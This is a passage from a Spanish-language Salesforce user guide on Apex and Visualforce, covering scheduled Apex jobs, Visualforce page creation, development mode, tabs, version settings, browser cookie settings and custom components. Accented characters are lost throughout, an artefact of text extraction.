En el caso de Mensual, especifique la fecha en la que se va a ejecutar el trabajo o el da (por ejemplo, el segundo sbado de
cada mes).
5. Especifique las fechas de inicio y fin de la clase programada de Apex. Si especifica un solo da, el trabajo solo se ejecuta una vez.
6. Especifique la hora de inicio que prefiera. La hora exacta a la que se inicia el trabajo depende de la disponibilidad del servicio.
7. Haga clic en Guardar.
Nota: Slo puede tener 100 trabajos activos o programados a la vez.
De forma alternativa, puede activar el mtodo System.scheduleBatch para que programe una nica ejecucin del trabajo por
lotes en el futuro. Para obtener ms informacin, consulte Uso del mtodo System.scheduleBatch en la Gua del desarrollador
de cdigo Apex de Force.com .
Despus de programar un trabajo de Apex, puede supervisar el avance del trabajo en la pgina Todos los trabajos programados.
Cuando haya finalizado el trabajo, puede consultar datos especficos sobre el trabajo (por ejemplo, si se ha hecho correctamente o no,
cundo ha durado, el nmero de registros procesados, etc.) en la pgina Trabajos de Apex.

Preguntas ms frecuentes
Preguntas ms frecuentes sobre Apex
Cul es la diferencia entre clases y desencadenadores de Apex?
Puedo llamar a un servicio Web externo con Apex?
Qu son los tipos de esquemas WSDL admitidos para llamadas de Apex?

Puedo llamar a un servicio Web externo con Apex?


S. Puede ejecutar operaciones de servicios Web con Apex. Mediante la pgina Clases de Apex,
primero debe generar una clase de Apex a partir del documento WSDL del servicio Web externo
antes de que pueda llamar a sus mtodos.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

CONSULTE TAMBIN
Preguntas ms frecuentes sobre Apex

Qu son los tipos de esquemas WSDL admitidos para llamadas de Apex?


En el caso de las llamadas, Apex solo admite el estilo contenido en el literal del documento, junto con los tipos de datos integrados y
primitivos. Es aconsejable validar el documento WSDL y asegurarse de que contenga tipos de esquemas admitidos. Si Apex no admite
algn tipo, una llamada a una operacin del servicio Web puede generar un error devuelto en la respuesta a la llamada, como No es
posible analizar la respuesta de la llamada. No se ha encontrado el tipo Apex para el elemento.
CONSULTE TAMBIN
Preguntas ms frecuentes sobre Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 66

Cul es la diferencia entre clases y desencadenadores de Apex?


Una clase de Apex es una plantilla o estructura a partir de la cual se crean objetos Apex. Las clases se componen de otras clases, mtodos
definidos por el usuario, variables, tipos de excepciones y cdigo de inicializacin esttico. Un desencadenador es cdigo Apex que se
ejecuta antes o despus de que se produzcan eventos concretos del lenguaje de manipulacin de datos (DML) como, por ejemplo,
antes de que los registros de los objetos se inserten en la base de datos o despus de que se hayan eliminado los registros. Un
desencadenador est asociado a un objeto estndar o personalizado y puede llamar a mtodos de clases de Apex.
CONSULTE TAMBIN
Preguntas ms frecuentes sobre Apex

Visualforce
Descripcin general de Visualforce
Visualforce utiliza un lenguaje de marcas basado en etiquetas que proporciona a los desarrolladores
una potente herramienta para generar aplicaciones y personalizar la interfaz de usuario de Salesforce.
Con Visualforce podr:
Crear interfaces de usuario personalizadas que integren estilos estndar de Salesforce
Crear interfaces de usuario sustituyan totalmente los estilos estndar de Salesforce
Crear asistentes y otros patrones de navegacin que utilicen reglas especficas de datos para
una interaccin ptima y eficiente

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Visualforce contiene una amplia biblioteca de componentes que le permite generar pginas
rpidamente sin tener que crear mltiples funcionalidades por s mismo. En el lenguaje de marcas
de Visualforce, cada etiqueta corresponde a un componente en bruto o refinado, como una pgina
de seccin, una lista relacionada o un campo. Los componentes se pueden controlar por la misma lgica que se utiliza en pginas
estndar de Salesforce o bien, los desarrolladores pueden asociar su propia lgica con un controlador o una extensin de controlador
escrita en Apex.
CONSULTE TAMBIN
Definicin de pginas de Visualforce
Qu es un componente personalizado?

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 67

Definicin de pginas de Visualforce


Definicin de pginas de Visualforce
Puede crear pginas de Visualforce mediante el modo de desarrollo de Visualforce o creando pginas
en la configuracin.
Para crear una pgina utilizando la herramienta vnculo rpido disponible en el modo de desarrollo
de Visualforce:
1. En su navegador, introduzca una URL de la siguiente forma:
https://mySalesforceInstance/apex/NombreNuevaPgina, donde el
valor de miInstanciadeSalesforce es el nombre de host de su instancia de Salesforce
(por ejemplo, na3.salesforce.com) y el valor de NombreNuevaPgina es el valor
que desea darle al campo Nombre en su definicin de pgina.

Por ejemplo, si quiere crear una pgina llamada HelloWorld y su organizacin de Salesforce
utiliza la instancia na3.salesforce.com, introduzca
https://na3.salesforce.com/apex/HelloWorld.
Nota: Los nombres de pgina no pueden tener ms de 40 caracteres.
2. Como la pgina no existe, se le dirigir a una pgina intermedia desde la que podr crear la
nueva pgina. Haga clic en Crear pgina NombreNuevaPgina para crear la nueva pgina.
A las pginas Nombre y Etiqueta se les asigna el valor NombreNuevaPgina
especificado en la URL.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin

Para crear pginas en la configuracin:


1. En Configuracin, haga clic en Desarrollo > Pginas.
2. Haga clic en Nuevo.
3. En el cuadro de texto Nombre, introduzca el texto que deber aparecer en la URL como el nombre de la pgina. Este nombre slo
puede incluir guiones bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin. Debe comenzar por una letra, no
terminar con un guin bajo y no contener espacios ni dos guiones bajos consecutivos.
4. En el cuadro de texto Etiqueta, introduzca el texto que debe utilizar para identificar la pgina en las herramientas de configuracin,
al igual que cuando define etiquetas personalizadas o sustituye botones estndar.
5. En el cuadro de texto Nombre, introduzca el texto que se debera utilizar para identificar la pgina en la API. Este nombre slo
puede incluir guiones bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin. Debe comenzar por una letra, no
terminar con un guin bajo y no contener espacios ni dos guiones bajos consecutivos.
6. En el cuadro de texto Descripcin, especifique una descripcin opcional de la pgina.
7. Seleccione Aplicaciones mviles disponibles para Salesforce para activar fichas de Visualforce asociadas
con la pgina de Visualforce para mostrar en la aplicacin de Salesforce1. Esta casilla de verificacin est disponible para pginas
establecidas en la versin de API 27.0 y posterior.
Nota: Las fichas de objetos estndar sobrescritas con una pgina de Visualforce no son compatibles en Salesforce1, incluso
si selecciona la opcin Disponible para aplicaciones mviles de Salesforce para la pgina. La
pgina predeterminada de Salesforce1 para el objeto aparece en lugar de la pgina de Visualforce.
Esta opcin no tiene efecto en la compatibilidad de Visualforce en la aplicacin mvil de Salesforce Classic. En su lugar, utilice
la casilla de verificacin Salesforce Classic Ready en las pginas de configuracin de la ficha de Visualforce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 68

8. Seleccione Requiere proteccin de CSRF en solicitudes GET para activar la proteccin Cross Site Request Forgery (CSRF) para
solicitudes GET para la pgina. Cuando la opcin est marcada, protege frente a ataques CSRF modificando la pgina para requerir
un token de confirmacin de CSRF, una cadena aleatoria de caracteres en los parmetros de URL. Con cada solicitud GET, Visualforce
comprueba la validez de esta cadena de caracteres y no carga la pgina a menos que el valor encontrado coincida con el valor
esperado.
Seleccione esta casilla si la pgina realiza cualquier operacin DML cuando est recin cargada. Cuando la opcin est marca, todos
los vnculos a esta pgina necesitan la adicin de un token de CSRF a los parmetros de cadena de solicitud de URL. Esta casilla de
verificacin est disponible para pginas establecidas en la versin de API 28.0 y posterior.
Nota: En Summer 13, la nica forma de agregar un token de CSRF vlido a una URL es sobrescribir el vnculo Eliminar estndar
de un objeto con una pgina de Visualforce. El vnculo Eliminar incluir automticamente el token necesario. No seleccione
esta casilla para ninguna pgina que no sobrescriba el vnculo Eliminar estndar de un objeto.
9. En el cuadro de texto Marca de Visualforce , introduzca la marca Visualforce para la pgina. Una pgina simple puede
albergar hasta 1 MB de texto o 1.000.000 de caracteres aproximadamente.
10. Haga clic en Configuracin de versin para especificar la versin de Visualforce y la API utilizada con esta pgina. Tambin puede
especificar versiones para cualquier paquete gestionado instalado en su organizacin.
11. Haga clic en Guardar para guardar los cambios y volver a la pantalla de detalles de Visualforce o haga clic en Guardar rpido para
guardar los cambios y continuar modificando la pgina. La marca de Visualforce debe ser vlida para poder guardar la pgina.
Nota: Aunque puede modificar su marca de Visualforce desde esta parte de la configuracin, para ver los resultados de sus
ediciones deber navegar hasta la URL de su pgina. Por este motivo, la mayora de los desarrolladores prefieren trabajar con
el modo de desarrollo activado de forma que puedan ver y modificar las pginas en una ventana nica.
Una vez creada su pgina, puede acceder a ella haciendo clic en Vista previa. Tambin puede verla manualmente introduciendo una
URL en el siguiente formulario: http://miInstanciadeSalesforce/apex/NombreNuevapgina, donde el valor de
miInstanciadeSalesforce es el nombre de host de su instancia de Salesforce (por ejemplo, na3.salesforce.com) y
el valor de NombreNuevapgina es el valor del Nombre de su definicin de pgina.
CONSULTE TAMBIN
Activacin del modo de desarrollo
Visualizacin y modificacin de pginas de Visualforce
Fichas de creacin de Visualforce

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 69

Activacin del modo de desarrollo


Aunque puede ver y modificar las definiciones de pgina de Visualforce desde Configuracin, en
Desarrollo > Pginas, la activacin del modo de desarrollo de Visualforce es la mejor forma de
generar pginas de Visualforce. El modo de desarrollo le proporciona:
Un pie de pgina de desarrollo especial en cada pgina de Visualforce que incluye el estado de
vista de la pgina, cualquier controlador asociado, un vnculo a la documentacin de referencia
de componente y un editor de marcado de pgina que ofrece resaltado, funcionalidad de
buscar y reemplazar y sugerencias automticas para los nombres de atributo y etiqueta de
componentes.
La capacidad de definir nuevas pginas de Visualforce introduciendo simplemente una URL
nica.
Mensajes de error que incluyen rastreos de paquete ms detallados que los que reciben los
usuarios estndar.
Para activar el modo de desarrollo de Visualforce:
1. En la parte superior de cualquier pgina de Salesforce, haga clic en la flecha hacia abajo junto
a su nombre. En el men bajo su nombre, seleccione Configuracin o Mi
configuracin(cualquiera que aparece)..

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para activar el modo de
desarrollo:
Personalizar aplicacin

2. Desde el panel izquierdo, seleccione una de las siguientes opciones:


Si ha hecho clic en Configuracin, seleccione Mi informacin personal > Informacin personal.
Si ha hecho clic en Mi configuracin, seleccione Personal > Detalles avanzados de usuario.
3. Haga clic en Modificar.
4. Seleccione la casilla de verificacin Modo de desarrollo.
5. Tambin puede seleccionar la casilla Mostrar estado de vista en modo de desarrollo para activar la ficha
Ver estado en el pie de pgina de desarrollo. Esta ficha resulta til para supervisar el rendimiento de sus pginas de Visualforce.
6. Haga clic en Guardar.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 70

Visualizacin y modificacin de pginas de Visualforce


En Configuracin, haga clic en Desarrollo > Pginas y, a continuacin, haga clic en el nombre de
una pgina de Visualforce para ver los detalles, incluidos la fecha de creacin, la fecha de ltima
modificacin y la marca de Visualforce asociada con la pgina.
Desde la pgina de detalles, tambin puede realizar lo siguiente:
Hacer clic en Modificar para modificar la marca de pgina existente.
Hacer clic en Eliminar para eliminar la pgina.
Haga clic en Duplicar para crear una copia de la pgina. Debe especificar un nuevo nombre
para la pgina nueva.
Haga clic en Dnde se utiliza? para ver una lista de todas las referencias a la pgina de su
organizacin.
Haga clic en Mostrar dependencias para mostrar los elementos, como campos, objetos u
otras clases, que deben existir para que esta clase sea vlida.
Haga clic en Vista previa para abrir la pgina en una nueva ventana.
Nota: Si la pgina de Visualforce se incluye en un paquete gestionado instalado, slo podr
ver la pgina. No podr modificarla, eliminarla ni duplicarla.
Si la pgina de Visualforce se incluye en un paquete gestionado instalado, Paquete instalado
indica el nombre del paquete. El campo Disponible en las versiones de paquete
ofrece el rango de versiones de paquete en el que est disponible la pgina de Visualforce. El primer
nmero de versin del rango es la primera versin de paquete instalada que contiene la pgina de
Visualforce.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para duplicar, modificar o
eliminar la marca de
Visualforce:
Personalizar aplicacin
Para modificar
controladores
personalizados de
Visualforce
"Apex de autor"

Visualizacin y modificacin de pginas de Visualforce con el modo de desarrollo activado


Con el modo de desarrollo activado, tambin puede ver y modificar el contenido de una pgina navegando a la URL de dicha pgina.
Por ejemplo, si una pgina se denomina HolaATodos y su instancia de salesforce.com es na3.salesforce.com, introduzca
https://na3.salesforce.com/apex/HolaATodos en la barra de direcciones de su navegador.
Despus de activar el modo de desarrollo, todas las pginas de Visualforce se muestran con el pie de pgina del modo de desarrollo en
la parte inferior del navegador:
Haga clic en la ficha que tiene el nombre de la pgina para abrir el editor de pgina y ver y modificar la marca asociada de Visualforce
sin necesidad de volver al rea Configuracin. Los cambios se muestran inmediatamente despus de guardar la pgina.
Si la pgina utiliza un controlador personalizado, el nombre de la clase del controlador estar disponible como una ficha. Haga clic
en la ficha para editar la clase Apex asociada.
Si la pgina utiliza extensiones del controlador, los nombres de cada extensin estarn disponibles como fichas. Al hacer clic en la
ficha podr modificar la clase de Apex asociada.
Si se activa en Configuracin, la ficha Ver estado muestra informacin sobre los elementos que contribuyen al estado de vista de
la pgina de Visualforce.
Haga clic en Guardar (justo encima del panel de modificacin) para guardar los cambios y actualizar el contenido de la pgina.
Haga clic en Referencia de componente para ver la documentacin de todos los componentes de Visualforce.
Haga clic en Dnde se utiliza? para ver una lista de todos los elementos en Salesforce que hacen referencia a la pgina, como las
fichas personalizadas, controladores o dems pginas.
Haga clic en el botn Contraer ( ) para contraer el panel de pie de pgina del modo de desarrollo. Haga clic en el botn Ampliar
( ) para volverlo a cambiar a abierto.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 71

Haga clic en el botn Desactivar modo de desarrollo ( ) para desactivar por completo el modo de desarrollo. El modo de desarrollo
permanece desactivado hasta que lo vuelva a activar desde su pgina de informacin personal en su configuracin personal.

Gestin de pginas de Visualforce


Una vez creadas las pginas de Visualforce, podr personalizarlas, modificarlas y eliminarlas. En
Configuracin, haga clic en Desarrollo > Pginas para visualizar la pgina de lista Pginas, que
muestra todas las pginas de Visualforce definidas para su organizacin. Desde la pgina de lista
Pginas, podr realizar las siguientes acciones:
Haga clic en Nuevo para definir una nueva pgina de Visualforce.
Haga clic en el nombre de la pgina para visualizar informacin detallada sobre la pgina,
incluida su etiqueta y marca de Visualforce.
Haga clic en Modificar junto a un nombre de pgina para modificar el nombre de pgina,
etiqueta o marca de Visualforce.
Nota: Un icono indica que una pgina de Visualforce est en un paquete gestionado
instalado. No puede modificar o eliminar una pgina de Visualforce en un paquete
gestionado.
Haga clic en Eliminar para eliminar una pgina.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear y modificar
pginas de Visualforce:
Personalizar aplicacin

Haga clic en Seguridad para gestionar la seguridad de la pgina.


Haga clic en el botn Vista previa (

) para abrir la pgina en una nueva ventana.

Nota: El prefijo de espacio de nombres se agrega a clases y desencadenadores de Apex, componentes y pginas de Visualforce,
plantillas de marca, carpetas, S-Control, recursos estticos, vnculos Web y tipos de informes personalizados si se incluyen en un
paquete gestionado. Sin embargo, si no dispone de permisos de personalizacin de la aplicacin, no se mostrar el campo de
prefijo del espacio de nombres para plantillas de marca, carpetas y tipos de informes personalizados.

Campos de combinacin para pginas de Visualforce


Un campo de combinacin es un acampo puede ubicar en una plantilla de correo electrnico, una
plantilla de combinacin de correo, un vnculo personalizado o una frmula para incorporar los
valores a partir de un registro.
Las pginas de Visualforce utilizan el mismo idioma de expresin que las frmulas, por lo tanto,
cualquier cosa dentro de {! } se evala como una expresin que puede acceder a valores de
registros que actualmente se encuentran en el contexto. Por ejemplo, puede mostrar el nombre
del usuario actual agregando el campo de combinacin {!$User.FirstName} a una pgina.

<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

Si su nombre de usuario es John, la pgina mostrar Hola John!

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 72

Tambin puede utilizar campos de combinacin y otras funciones para personalizar su contenido de ayuda a nivel de objeto.
CONSULTE TAMBIN
Definicin de pginas de Visualforce

Fichas de creacin de Visualforce


Puede generar fichas de Visualforce de manera que los usuarios puedan acceder a las pginas de
Visualforce desde Salesforce.
Para crear una ficha de Visualforce:
1. En Configuracin, haga clic en Crear > Fichas.
2. Haga clic en Nuevo en la lista relacionada Fichas Visualforce.
3. Seleccione la pgina de Visualforce que debe aparecer en la ficha personalizada. Si no ha creado
an la pgina de Visualforce, haga clic en Crear una nueva pgina ahora.
4. Introduzca una etiqueta para mostrar en la ficha.
5. Haga clic en el icono de bsqueda Estilo de la ficha para abrir el Selector del estilo
de las fichas.
Si ya hay un estilo de ficha en uso, aparecer un nmero entre corchetes [] junto al nombre de
estilo de la ficha. Pase el ratn sobre el nombre del estilo para ver las fichas que utilizan el estilo.
Haga clic en Ocultar estilos que se utilicen en otras fichas para
filtrar esta lista.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear fichas de
Visualforce:
Personalizar aplicacin

6. Haga clic en un estilo de ficha para seleccionar el esquema de color y el icono para la ficha personalizada.
Opcionalmente, haga clic en Cree su propio estilo en el cuadro de dilogo Selector del estilo de las fichas si desea crear un estilo
de ficha personalizado y su organizacin tendr acceso a la ficha Documentos. Para crear su estilo de ficha propio:
a. Haga clic en el icono de bsqueda Color para visualizar el cuadro de dilogo de seleccin de color y haga clic en un color
para seleccionarlo.
b. Haga clic en Insertar una imagen, seleccione la carpeta de documentos y seleccione la imagen que desea utilizar.
Otra opcin consiste en hacer clic en Buscar en documentos, introducir un trmino de bsqueda y hacer clic en Ir para buscar
un nombre de archivo de documento que incluya su trmino de bsqueda.
Nota: Este cuadro de dilogo slo enumera archivos en carpetas de documentos que tengan menos de 20 KB y con la
casilla de verificacin Disponible de modo externo activada en la configuracin de las propiedades del documento. Si el
documento utilizado para el icono se elimina posteriormente, Salesforce lo sustituye con un icono de bloque multicolor
predeterminado (

).

c. Seleccione un archivo y haga clic en Aceptar. Volver a aparecer el Asistente para nuevas fichas personalizadas.
7. Tambin puede seleccionar la casilla de verificacin Salesforce Classic Ready para indicar que la pgina de Visualforce
se muestra y funciona correctamente en la aplicacin de Salesforce Classic.
Si selecciona la casilla de verificacin, agregar la ficha a la lista de fichas disponibles para sus configuraciones de Salesforce Classic.
Antes de convertir una ficha de Visualforce, revise las consideraciones de la ficha de SalesforceMobile para asegurarse de que las
pginas de Visualforce en sus fichas son compatibles con los navegadores de Mobile.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 73

Nota: La casilla de verificacin Salesforce Classic Ready slo estar visible si se activa Salesforce Classic en su
organizacin.
Esta configuracin no afecta la visualizacin de las fichas de Visualforce en la aplicacin de Salesforce1. Para activar una nueva
ficha de Visualforce para su uso en Salesforce1, consulte Activar pginas de Visualforce en la aplicacin de Salesforce1 y
Definicin de pginas de Visualforce en la pgina 67.
8. De forma opcional, seleccione un vnculo personalizado para utilizarlo como pgina de bienvenida introductoria cuando los usuarios
hacen clic en la ficha por primera vez. Recuerde que las pginas de bienvenida no aparecen en la aplicacin de Salesforce Classic.
Evite utilizar una pgina de bienvenida si pretende que la ficha sea accesible.
9. Introduzca una descripcin de la ficha, si lo desea, y haga clic en Siguiente.
10. Seleccione los perfiles de usuario para los que estar disponible la nueva ficha personalizada:
Seleccione Aplicar visibilidad de una ficha a todos los perfiles seleccione Ficha predeterminada activada, Ficha predeterminada
desactivada o Ficha oculta en la lista desplegable.
De forma alternativa, seleccione Aplicar visibilidad de una ficha a todos los perfiles y seleccione Ficha predeterminada
activada, Ficha predeterminada desactivada o Ficha oculta desde la lista desplegable para cada perfil.
11. Especifique las aplicaciones personalizadas que deban incluir la nueva ficha.
12. Active Agregar la ficha a las personalizaciones individuales existentes de los usuarios
para agregar la nueva ficha a la configuracin de presentacin personalizada de los usuarios si han personalizado la presentacin
personal.
13. Haga clic en Guardar.
CONSULTE TAMBIN
Definicin de pginas de Visualforce

Excepciones no detectadas en Visualforce


Si una pgina de Visualforce que no ha desarrollado tiene un error o una excepcin no detectada:
Ver una sencilla explicacin del problema en Salesforce.
El desarrollador que escribi la pgina recibir el error por correo electrnico con su organizacin Id. de usuario. En el informe no se
incluir ningn otro dato de usuario.
Si est en modo de desarrollo y no se encuentra en el mismo espacio de nombre que la pgina, ver el mensaje de excepcin, el tipo
de excepcin y una notificacin de que el desarrollador ha recibido un correo electrnico notificndosela.
Si es un desarrollador en el mismo espacio de nombre que la pgina y no se encuentra en modo de desarrollo, ver un mensaje de
excepcin. Tambin puede ver un mensaje que indique que se ha notificado al desarrollador. Si se encuentra en modo de desarrollo,
ver el mensaje de excepcin, el tipo de excepcin y el rastreo de paquete de Apex.
CONSULTE TAMBIN
Depuracin de su cdigo

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 74

Gestin de la configuracin de versin de pginas y componentes personalizados de Visualforce


Para ayudar en la compatibilidad con versiones anteriores, cada pgina y componente personalizado
de Visualforce se guarda con la configuracin de la versin especificada de la API, as como la versin
especfica de Visualforce. Si el componente o la pgina de Visualforce hace referencia a paquetes
gestionados instalados, tambin se guarda la configuracin de versin de cada paquete gestionado
al que hace referencia el componente o la pgina. Esto garantiza que como Visualforce, la API y los
componentes en paquetes gestionados evolucionan a versiones posteriores, las pginas y los
componentes de Visualforce siguen estando vinculados a versiones con un comportamiento
especfico y conocido.
Una versin de paquete es un nmero que identifica el conjunto de componentes cargados en un
paquete. El nmero de versin tiene el formato
majorNumber.minorNumber.patchNumber (por ejemplo, 2.1.3). Los nmeros mayor
y menor aumentan con cada versin posterior. El patchNumber se genera y se actualiza solo
para una versin de parche. Los publicadores pueden utilizar las versiones de paquetes para hacer
evolucionar los componentes de sus paquetes gestionados cmodamente publicando versiones
posteriores de paquetes sin que dicho paquete estropee las integraciones de clientes existentes.
Nota: Los componentes de paquetes y los componentes personalizados de Visualforce son
conceptos diferentes. Un paquete se compone de muchos elementos, por ejemplo objetos
personalizados, clases de Apex y desencadenadores, as como componentes y pginas
personalizados.

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear, modificar y
establecer la configuracin
de la versin de pginas de
Visualforce:
Personalizar aplicacin

Para establecer la versin de la API de Salesforce y Visualforce de una pgina o un componente personalizado de Visualforce:
1. Modifique una pgina o un componente de Visualforce y haga clic en Configuracin de versin.
Nota: Slo puede acceder a la configuracin de versin de una pgina o componente personalizado si lo modifica desde
Configuracin, en Desarrollo. No puede acceder a configuraciones de versin si realiza una modificacin utilizando el Modo
de desarrollador.
2. Seleccione la versin de la API de Salesforce. Tambin es la versin de Visualforce utilizada con el componente o la pgina.
3. Haga clic en Guardar.
Para configurar la configuracin de versin del paquete de una pgina o un componente personalizado de Visualforce:
1. Modifique una pgina o un componente de Visualforce y haga clic en Configuracin de versin.
2. Seleccione una versin de cada paquete gestionado al que hace referencia la pgina o el componente de Visualforce. La pgina
o el componente seguir utilizando esta versin del paquete gestionado si se instalan versiones posteriores del paquete gestionado,
a menos que actualice manualmente la configuracin de versin. Para agregar un paquete gestionado instalado en la lista de
configuracin, seleccione un paquete en la lista de paquetes disponibles. La lista slo se muestra si tiene un paquete gestionado
instalado que no est ya asociado a la pgina o el componente.
3. Haga clic en Guardar.
Cuando trabaje con la configuracin de versin de paquete, tenga en cuenta lo siguiente:
Si guarda una pgina o un componente personalizado de Visualforce que hace referencia a un paquete gestionado sin especificar
la versin de este, la pgina o el componente se asocia, de forma predeterminada, a la versin ms reciente instalada del paquete
gestionado.
No puede eliminar la configuracin de versin de una pgina o un componente de Visualforce para un paquete gestionado si la
pgina o el componente hace referencia a l. Utilice Mostrar dependencias para encontrar dnde se hace referencia al paquete
gestionado.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 75

Configuracin de seguridad del navegador y Visualforce


Algunas pginas de Visualforce se ejecutan desde servidores de *.force.com. Si configura los
sitios de confianza de su navegador para que incluyan *.salesforce.com, tambin debe
agregar *.force.com a la lista.
Dependiendo de su navegador y su configuracin, puede ver un error similar en algunas pginas:

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

La configuracin de privacidad de su navegador ha evitado que


esta pgina muestre parte del contenido. Para ver este contenido
debe cambiar la configuracin de privacidad de su navegador
para permitir las cookies de "terceras partes" del dominio
mypages.na1.visual.force.com. De forma alternativa, si su
navegador es Internet Explorer, puede aadir
mypages.na1.visual.force.com. a su lista de sitios de confianza en la pgina de opciones
de seguridad.

Salesforce incluye un encabezado del Proyecto de plataforma de preferencias de privacidad (P3P) en algunas pginas. El encabezado
se compone de las siguientes configuraciones:
Objetivo
CUR: se utiliza para completar la actividad para la que se dise.
Categora
STA: mecanismo para mantener una sesin estable con un usuario o reconocer automticamente usuarios que han visitado un sitio
concreto o ha accedido a un contenido particular anteriormente; por ejemplo, cookies HTTP.
Destinatario
OTR: entidades legales que aplican diferentes prcticas. Los usuarios no pueden decidir sobre este uso.
Si su navegador es compatible con P3P, este encabezado permite ver todas las pginas de Visualforce. Para obtener informacin sobre
P3P, consulte Proyecto de plataforma de preferencias de privacidad (P3P).
Si su navegador est configurado para bloquear cookies de terceras partes y no utiliza el encabezado P3P y ve un error similar al anterior,
realice una de las siguientes acciones:
Configure P3P para su navegador
Cambie la configuracin de su navegador para permitir cookies de terceras partes
Agregue el servidor correcto a la lista de excepciones de cookies de su navegador

Componentes personalizados
Qu es un componente personalizado?
Salesforce proporciona una biblioteca de componentes predefinidos estndar, como
<apex:relatedList> y <apex:dataTable>, que se pueden utilizar para desarrollar
pginas de Visualforce. Adems, puede generar sus propios componentes personalizados para
aumentar esta biblioteca.
Un componente personalizado abarca un patrn de diseo comn que se puede reutilizar en una
o ms pginas de Visualforce. Se compone de:
Un conjunto de marcas de Visualforce delimitado por la etiqueta <apex:component>
Un controlador de componente opcional escrito en Apex que permite que el componente
ejecute una lgica adicional, como los elementos de clasificacin de una lista o calcular valores

EDICIONES
Disponible en: Contact
Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 76

Por ejemplo, suponga que desea crear un lbum de fotos utilizando pginas de Visualforce. Cada una de las fotos del lbum tiene su
propio borde de color y el texto que aparece debajo. En lugar de repetir la marca de Visualforce necesaria para visualizar cada una de
las fotos del lbum, puede definir un componente personalizado denominado singlePhoto que contiene atributos de imagen,
color de borde y texto y utiliza estos atributos para mostrar la imagen en la pgina. Una vez definido, cada una de las pginas de Visualforce
de su organizacin puede incluir el componente personalizado singlePhoto de la misma forma que una pgina puede incluir
componentes estndar como <apex:dataTable> o <apex:relatedList>.
Al contrario que las plantillas de pgina, que tambin permiten a los desarrolladores reutilizar las marcas, los componentes personalizados
proporcionan ms potencia y flexibilidad porque:
Los componentes personalizados permiten a los desarrolladores definir atributos que se pueden pasar a cada componente. El valor
de un atributo puede cambiar la forma en que se visualiza la marca de la pgina final y la lgica basada en controlador que se ejecuta
para esa instancia del componente. Este comportamiento es diferente del de las plantillas, que no tienen forma de transmitir la
informacin de la pgina que utiliza una plantilla a la propia definicin de la plantilla.
Las descripciones de los componentes personalizados se muestran en el cuadro de dilogo de referencia del componente de la
aplicacin, junto con descripciones de componentes estndar. Por otra parte, slo se puede hacer referencia a las descripciones de
plantilla en el rea Configuracin de Salesforce porque se definen como pginas.
CONSULTE TAMBIN
Definicin de componentes personalizados de Visualforce
Visualizacin y modificacin de componentes personalizados de Visualforce

Definicin de componentes personalizados de Visualforce


Para crear un componente personalizado de Visualforce:

EDICIONES

1. En Salesforce desde Configuracin, haga clic en Desarrollo > Componentes.


2. Haga clic en Nuevo.
3. En el cuadro de texto Etiqueta, introduzca el texto que se debera utilizar para identificar
el componente personalizado en las herramientas de configuracin.
4. En el cuadro de texto Nombre, introduzca el texto que se debera utilizar para identificar el
componente personalizado en la marca de Visualforce. Este nombre slo puede incluir guiones
bajos y caracteres alfanumricos y debe ser exclusivo de su organizacin. Debe comenzar por
una letra, no terminar con un guin bajo y no contener espacios ni dos guiones bajos
consecutivos.
5. En el cuadro de texto Descripcin, introduzca una descripcin del componente
personalizado. Esta descripcin aparece en la referencia del componente con otras descripciones
de componentes estndar, en cuanto haga clic en Guardar.
6. En el cuadro de texto Cuerpo, introduzca la marca de Visualforce de la definicin del
componente personalizado. Un componente simple puede albergar hasta 1 MB de texto o
1.000.000 de caracteres aproximadamente.

Disponible en: Contact


Manager Edition, Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para crear componentes
personalizados:
Personalizar aplicacin

7. Haga clic en Configuracin de versin para especificar la versin de Visualforce y la API utilizada con este componente. Tambin
puede especificar versiones para cualquier paquete gestionado instalado en su organizacin.
8. Haga clic en Guardar para guardar los cambios y ver la pantalla de detalles del componente personalizado o haga clic en Guardar
